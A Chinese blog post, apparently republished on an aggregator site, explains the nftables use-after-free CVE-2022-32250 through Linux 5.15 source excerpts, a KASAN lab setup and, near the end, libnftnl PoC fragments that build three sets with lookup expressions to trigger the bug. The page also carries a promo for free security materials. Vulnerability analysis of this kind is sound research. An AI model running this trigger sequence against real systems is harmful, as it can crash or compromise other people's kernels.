Nftables漏洞原理分析(CVE-2022-32250)

news/2024/10/8 0:33:59

前言

nftales中存在着集合(sets),用于存储唯一值的集合。sets 提供了高效地检查一个元素是否存在于集合中的机制,它可以用于各种网络过滤和转发规则。

CVE-2022-32250漏洞则是由于nftables在处理set时存在uaf的漏洞。

环境搭建

ubuntu20 + QEMU-4.2.1 + Linux-5.15

.config文件

CONFIG_NF_TABLES=y

CONFIG_NETFILTER_NETLINK=y

CONFIG_E1000=y

CONFIG_E1000E=y

CONFIG_USER_NS=y,开启命名空间

开启KASANmake menuconfig --> Kernel hacking -->Memory Debugging --> KASAN

image-20240302114337021

ubuntu20直接安装的libnftnl版本太低,因此需要去https://www.netfilter.org/projects/libnftnl/index.html中下载

./configure --prefix=/usr && make
sudo make install

漏洞验证

poc:https://seclists.org/oss-sec/2022/q2/159

在运行poc时,KASAN检测出存在uaf漏洞

image-20240302114613205

漏洞原理

KASAN给出的信息可知,该漏洞与set有关,因此从set的创建到使用进行源码分析。

nf_tables_newset内首先需要校验集合名、所属的表、集合键值的长度以及集合的ID是否被设置,若这些条件不具备则直接返回。

File: linux-5.15\net\netfilter\nf_tables_api.c
4205: static int nf_tables_newset(struct sk_buff *skb, const struct nfnl_info *info,
4206:               const struct nlattr * const nla[])
4207: {       ...       //判断创建set的必备条件是否具备
4227:   if (nla[NFTA_SET_TABLE] == NULL ||
4228:       nla[NFTA_SET_NAME] == NULL ||
4229:       nla[NFTA_SET_KEY_LEN] == NULL ||
4230:       nla[NFTA_SET_ID] == NULL)
4231:       return -EINVAL;       ...
​

集合通过kvzalloc函数开辟空间

File: linux-5.15\net\netfilter\nf_tables_api.c   ...
4369:   set = kvzalloc(alloc_size, GFP_KERNEL);
4370:   if (!set)
4371:       return -ENOMEM;...

在成功创建集合后,就会进行初始化的过程,有一个变量需要重点关注,即set->bindings

File: linux-5.15\net\netfilter\nf_tables_api.c   ...   //对集合做初始化
4390:   INIT_LIST_HEAD(&set->bindings);
4391:   INIT_LIST_HEAD(&set->catchall_list);
4392:   set->table = table;
4393:   write_pnet(&set->net, net);
4394:   set->ops = ops;
4395:   set->ktype = ktype;
4396:   set->klen = desc.klen;
4397:   set->dtype = dtype;
4398:   set->objtype = objtype;
4399:   set->dlen = desc.dlen;
4400:   set->flags = flags;
4401:   set->size = desc.size;
4402:   set->policy = policy;
4403:   set->udlen = udlen;
4404:   set->udata = udata;
4405:   set->timeout = timeout;
4406:   set->gc_int = gc_int;...

image-20240302153317949

当初始化完毕之后,会去判断创建集合时,该集合是否有需要创建的表达式。

File: linux-5.15\net\netfilter\nf_tables_api.c...       //判断是否有表达式需要创建
4416:   if (nla[NFTA_SET_EXPR]) {
4417:       expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]); //表达式的创建
4418:       if (IS_ERR(expr)) {
4419:           err = PTR_ERR(expr);
4420:           goto err_set_expr_alloc;
4421:       }
4422:       set->exprs[0] = expr;
4423:       set->num_exprs++;...

在代码[1]处会对表达式进行初始化,紧接着在代码[2]处会对表达式的标志位进行校验,当表达式的标志位不具备NFT_EXPR_STATEFUL属性,那么就会跳转到[3]中进行销毁表达式的处理,紧接着返回错误。这里似乎会存在问题,因为代表[1]与[2]是先创建表达式再检验,就会导致任意的表达式被创建。

File: linux-5.15\net\netfilter\nf_tables_api.c
5309: struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
5310:                    const struct nft_set *set,
5311:                    const struct nlattr *attr)
5312: {
5313:   struct nft_expr *expr;
5314:   int err;
5315: 
5316:   expr = nft_expr_init(ctx, attr); --->[1]
5317:   if (IS_ERR(expr))
5318:       return expr;
5319: 
5320:   err = -EOPNOTSUPP;
5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322:       goto err_set_elem_expr;
5323: ...
5334: err_set_elem_expr:
5335:   nft_expr_destroy(ctx, expr); --->[3]
5336:   return ERR_PTR(err);
5337: }
​

回顾KASAN的报告,发现该漏洞与表达式nft_lookup有关,因此接下来关注一下lookup表达式初始化的过程。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

image-20240302143631008

lookup表达式的结构体如下,可以看到在lookup结构体里存在着binding变量,是上面set会初始化的一个变量。

struct nft_lookup {struct nft_set          *set; //集合u8              sreg; //源寄存器u8              dreg; //目的寄存器bool                invert; struct nft_set_binding      binding;
};

nft_set_bing结构体实则是维护了一个双链表。

struct nft_set_binding {struct list_head        list;const struct nft_chain      *chain;u32             flags;
};

nft_lookup_init函数负责初始化lookup表达式,可以看到需要set与源寄存器都存在的情况下才能够完成创建。

File: linux-5.15\net\netfilter\nft_lookup.c
095: static int nft_lookup_init(const struct nft_ctx *ctx,
096:               const struct nft_expr *expr,
097:               const struct nlattr * const tb[])
098: {   ...       //检测set与源寄存器的值
105:    if (tb[NFTA_LOOKUP_SET] == NULL ||
106:        tb[NFTA_LOOKUP_SREG] == NULL)
107:        return -EINVAL;   ...
​

紧接着检索需要搜索的set

File: linux-5.15\net\netfilter\nft_lookup.c...
109:    set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
110:                    tb[NFTA_LOOKUP_SET_ID], genmask);
111:    if (IS_ERR(set))
112:        return PTR_ERR(set);...

最后在完成了set的搜索后,就会进行一个绑定操作,会将表达式的binging接入的setbinding

File: linux-5.15\net\netfilter\nft_lookup.c...
148:    err = nf_tables_bind_set(ctx, set, &priv->binding);
149:    if (err < 0)
150:        return err;...

首先在绑定之前会校验链表是否是匿名并且非空。

File: linux-5.15\net\netfilter\nf_tables_api.c
4606: int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
4607:              struct nft_set_binding *binding)
4608: {       ...
4615:   if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
4616:       return -EBUSY;       ...
​

在通过上面的检测后,就会将当前表达式的加入到set中,

File: linux-5.15\net\netfilter\nf_tables_api.c...
4643:   list_add_tail_rcu(&binding->list, &set->bindings);...
​

综上所述,bing的作用实则是维护相同set下的不同的表达式。具体流程如下。

set创建时,会初始化bindings指向自己本身。

image-20240302150148971

紧接着若有lookup表达式创建,并绑定上述的set时,因此通过setbingdings,可以检索在当前set上的所有expr

image-20240302150404136

image-20240302153434374

在上面说过创建表达式的过程中会检测表达式的标志位是否为NFT_EXPR_STATEFUL,如[2]所示

5321:   if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL)) --->[2]
5322:       goto err_set_elem_expr;

在初始化lookup表达式时,是不会给flags设置值的,因此默认值即为0,因此在创建set的同时创建lookup表达式,lookup表达式的类型是默认为0,是无法绕过检测的。

struct nft_expr_type nft_lookup_type __read_mostly = {.name       = "lookup",.ops        = &nft_lookup_ops,.policy     = nft_lookup_policy,.maxattr    = NFTA_LOOKUP_MAX,.owner      = THIS_MODULE,
};

那么就会进入销毁表达式[3]

5334: err_set_elem_expr:
5335:   nft_expr_destroy(ctx, expr); --->[3]
5336:   return ERR_PTR(err);

nft_expr_destory函数内除了是否表达式外还会调用nf_tables_expr_destroy函数

File: linux-5.15\net\netfilter\nf_tables_api.c
2823: void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
2824: {
2825:   nf_tables_expr_destroy(ctx, expr);
2826:   kfree(expr);
2827: }

nf_tables_exor_destroy函数会调用表达式的destroy操作

File: linux-5.15\net\netfilter\nf_tables_api.c
2761: static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
2762:                  struct nft_expr *expr)
2763: {
2764:   const struct nft_expr_type *type = expr->ops->type;
2765: 
2766:   if (expr->ops->destroy)
2767:       expr->ops->destroy(ctx, expr); //表达式的删除操作
2768:   module_put(type->owner);
2769: }

nft_lookup_destroy函数内部调用了nf_tables_destroy_set函数

File: linux-5.15\net\netfilter\nft_lookup.c
173: static void nft_lookup_destroy(const struct nft_ctx *ctx,
174:                   const struct nft_expr *expr)
175: {
176:    struct nft_lookup *priv = nft_expr_priv(expr);
177: 
178:    nf_tables_destroy_set(ctx, priv->set);
179: }

nf_tables_destroy_set函数内部中有一个简单的判断,若不成立那么实际上nf_tables_destroy_set不会做任何操作。那么就会造成一个漏洞,若我们创建的表达式lookup已经被绑定在set上,因此list_empty(&set->bindings0,那么就会导致destroy操作不会执行任何操作。就会将lookup表达式残留在set->bingdings中。

File: linux-5.15\net\netfilter\nf_tables_api.c
4683: void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
4684: {
4685:   if (list_empty(&set->bindings) && nft_set_is_anonymous(set)) //判断`set->bingings是否为空,以及`set`是否匿名
4686:       nft_set_destroy(ctx, set);
4687: }

由于lookup->destory不会执行任何操作,就会导致lookup表达式仍然残留在set->bingdings上,但是由于表达式的标志位不能通过校验,随后该表达式就会被释放。

image-20240302152404314

image-20240302153648468

POC分析

首先创建一个名为set_stableset,为后续创建lookup表达式做准备。

    set_name = "set_stable";   nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name);   nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name);   nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);   nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);   nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++);

紧接着创建名为set_triggerset,并同时将标志位设置为NFT_SET_EXPR,那么就能在创建set的同时创建表达式,创建的表达式为lookup表达式,并且搜索的set的名为set_stable,这里需要注意的是,第一个创建的set是为了后续的lookup表达式提供搜索的set,而第二次的set是为了创建set的同时创建lookup表达式,因此第二个set的作用仅仅是为了创建lookup表达式。

    set_name = "set_trigger";   nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);   nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);   nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);   nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);   nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);   nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);   exprs[exprid] = nftnl_expr_alloc("lookup");   nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");   nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);   // nest the expression into the set   nftnl_set_add_expr(set_trigger, exprs[exprid]);

最后就是触发漏洞,第三次的set同样的也仅仅是为了创建lookup表达式,由于此时名为set_stableset->bingdings还存在着被释放掉的lookup表达式的指针,因此在第三次创建的时候就会将新创建的lookup表达式链接到上述已经被释放的lookup表达式中,从而导致的uaf漏洞。

    set_name = "set_uaf";   nftnl_set_set_str(set_uaf, NFTNL_SET_TABLE, table_name);   nftnl_set_set_str(set_uaf, NFTNL_SET_NAME, set_name);   nftnl_set_set_u32(set_uaf, NFTNL_SET_FLAGS, NFT_SET_EXPR);   nftnl_set_set_u32(set_uaf, NFTNL_SET_KEY_LEN, 1);   nftnl_set_set_u32(set_uaf, NFTNL_SET_FAMILY, family);   nftnl_set_set_u32(set_uaf, NFTNL_SET_ID, set_id);   exprs[exprid] = nftnl_expr_alloc("lookup");   nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable");   nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);

更多网安技能的在线实操练习,请点击这里>>

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28191.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

YOLO-World环境搭建推理测试

一、引子 CV做了这么多年,大多是在固定的数据集上训练,微调,测试。突然想起来一句话,I have a dream!就是能不能不用再固定训练集上捣腾,也就是所谓的开放词汇目标检测(OVD)。偶尔翻翻AI新闻,发现现在CV领域有在卷开集目标检测的趋势。刚好翻到,YOLO-World这一开源项…

如何查找Lenovo XClarity Controller 的 MIB 文件

描述 本文介绍了为运行Lenovo XClarity Controller (LXCC) 的Lenovo服务器查找和下载 MIB 文件的过程。 程序转至数据中心支持。 lenovo .com 。 在搜索栏中,输入Lenovo服务器型号名称,然后单击自动搜索结果中正确服务器下的“下载” 。注意:在此示例中,将使用 SR650。 在“…

allure功能使用-添加链接linktestcaseissue

1.执行指定测试用例时,在测试方法前添加注解@allure.link跳转到执行地址: 在HTML报告可看到跳转信息: 2.执行指定测试用例时,需要知道测试案例所在代码仓库地址时,在其方法前添加注解@allure.testcase跳转仓库地址(用于代码走读): 3.执行指定测试用例时,需要将该用例…

云原生周刊:Terraform 1.8 发布 | 2024.5.6

开源项目推荐 xlskubectl 用于控制 Kubernetes 集群的电子表格。xlskubectl 将 Google Spreadsheet 与 Kubernetes 集成。你可以通过用于跟踪费用的同一电子表格来管理集群。git-sync git-sync 是一个简单的命令,它将 git 存储库拉入本地目录,等待一段时间,然后重复。当远程…

二叉树进阶:二叉搜索树、平衡二叉树、KD树(实现KNN算法的快速寻找k个邻居)

二叉搜索树二叉搜索树又称为二叉排序树、二叉查找树。请记住,本篇所介绍的所有树,都是二叉搜索树,也就是说都用到了二分查找的思想。二叉搜索树的特征:每个结点的左结点都小于结点本身,右结点都大于结点本身。用中序遍历来遍历一棵二叉搜索树,结果必然是有序的。 时间复杂…

岩土工程监测中振弦采集仪的布设方案及实施步骤简析

岩土工程监测中振弦采集仪的布设方案及实施步骤简析 岩土工程监测中,河北稳控科技振弦采集仪是一种常用的地下水位和土层压缩性监测工具。它通过采集振弦的振动信号来确定地下水位和土层的压缩性,为岩土工程的设计、施工和监测提供重要的数据支持。下面将对振弦采集仪的布设方…

活动回放 | 如何进行全增量一体的异构数据库实时同步

如何在不影响并保持现有业务系统正常运转的前提下,实现数据向新业务系统的持续同步,并保障异构数据同步的完整性、准确性、一致性、时效性。以 AI 领域为代表的新技术不断涌现,新的应用风口也逐渐清晰。为了加紧跟上技术发展的步伐,越来越多的企业开始着手,对仍以传统关系…

(前++) 和 (后++)的练习题

打印也是一种运算,因此是先打印出5,再-1。每天进步一点点,快乐生活多一点。